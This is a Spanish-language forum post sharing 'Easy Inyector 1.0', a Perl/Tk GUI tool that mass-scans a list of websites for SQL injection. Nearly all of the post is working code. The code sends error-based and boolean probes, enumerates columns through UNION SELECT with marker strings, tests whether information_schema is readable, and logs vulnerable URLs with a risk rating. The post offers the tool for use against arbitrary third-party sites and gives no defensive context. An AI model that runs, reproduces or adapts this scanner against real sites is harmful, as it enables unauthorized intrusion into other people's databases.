[Perl Tk] Easy Inyector 1.0

Hola , aca les dejo un programa para escanear las vulnerabilidad SQL , solo ponen un archivo de texto con las webs y el programa testea si la vulnerabilidad permite hacer varias cosas o no.

#!usr/bin/perl
#Easy Inyector 1.0 (C) Doddy Hackman 2011
 
use Tk;
use Tk::FileSelect;
use Win32;
use LWP::UserAgent;
 
if ($^O eq 'MSWin32') {
use Win32::Console; 
Win32::Console::Free();
}
 
my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);
 
my $more = MainWindow->new();
$more->title("Easy Inyector 1.0 (C) Doddy Hackman 2011");
$more->geometry("480x280+50+50");
$more->resizable(0,0);
 
$more->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>10,-x=>30);
my $filex = $more->Entry(-width=>35)->place(-y=>15,-x=>80);
$more->Button(-text=>"Start",-width=>10,-command=>\&start)->place(-y=>12,-x=>300);
$more->Button(-text=>"Browse",-width=>10,-command=>\&poner)->place(-x=>370,-y=>12);
 
$more->Label(-text=>"Webs")->place(-y=>70,-x=>150);
my $vuls = $more->Listbox(-width=>40)->place(-y=>100,-x=>50 );
 
$more->Label(-text=>"Risk")->place(-y=>70,-x=>350);
my $type = $more->Listbox(-width=>10)->place(-y=>100,-x=>340);
 
MainLoop;
 
sub poner { 
$more->update;
$browse = $more->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure(-text =>$file);
}
 
sub start {
 
my $fileax = $filex->get;
 
unless (-f $fileax) {
Win32::MsgBox("File dont exist",0,"Easy Inyector 1.0");
} else {
 
$vuls->delete("0.0","end");
$type->delete("0.0","end");
 
open(FIL,$fileax);
my @webs = <FIL>;
close FIL;
 
chomp @webs;
 
my @pages = repes(cortar(@webs));
 
for my $page(@pages) {
 
my ($gen,$save,$control) = &length($page,"--");
if ($control eq 1) {
$vuls->insert("end",$gen);
details($gen,$bypass,$save);
}
}
$more->update;
Win32::MsgBox("<ul class="bbc_list"><li type="square"> Scan Finished",0,"Easy Inyector 1.0");[/li][/list]
system("start logs/sqli-logs.txt");
}}
 
sub length {
my $rows  = "0";
my $asc;
my $page = $_[0];
 
($pass1,$pass2) = &bypass($_[1]);
 
$inyection = $page."1".$pass1."and".$pass1."1=0".$pass1."order".$pass1."by"."9999999999".$pass2;
$code = toma($inyection);
$more->update;
 
if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
 
$more->update;
 
my $testar1 = toma($page."1".$pass1."and".$pass1."1=0".$pass2);
my $testar2 = toma($page."1".$pass1."and".$pass1."1=1".$pass2);
 
unless ($testar1 eq $testar2) {
my $patha = $1;
chomp $patha;
$alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
$total = "1";
for my $rows(2..200) {
$more->update;
$asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")"; 
$total.= ",".$rows;
$injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
$test = toma($injection);
if ($test=~/RATSXPDOWN/) {
@number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
$control = 1;
$total=~s/$number[0]/hackman/;
return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
}}}}}
 
sub details {
my ($page,$bypass,$save) = @_;
($pass1,$pass2) = &bypass($bypass);
if ($page=~/(.*)hackman(.*)/ig) {
my  ($start,$end) = ($1,$2);
$inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
$testx = toma($inforschema);
 
if ($testx=~/ERTOR854/ig) {
$type->insert("end","Hight");
savefile("sqli-logs.txt","[SQLI] : $page"); 
savefile("sqli-logs.txt","[Risk] : Hight\n");
} else {
savefile("sqli-logs.txt","[SQLI] : $page"); 
savefile("sqli-logs.txt","[Risk] : Low\n");
$type->insert("end","Low");
}}}
 
sub toma {
return $nave->get($_[0])->content;
}
 
sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE; 
}
 
sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20",""); }
else {return ("+","--");}}
 
sub ascii {
return join ',',unpack "U*",$_[0]; 
}
 
sub ascii_de {
$_[0] = join q[], map { chr } split q[,],$_[0];
return $_[0];
}
 
sub cortar {
my @nuevo;
for(@_) {
@tengo = split("=",$_);
push(@nuevo,@tengo[0]."=");
}
return @nuevo;
}
 
sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}
 
# ¿ The End ?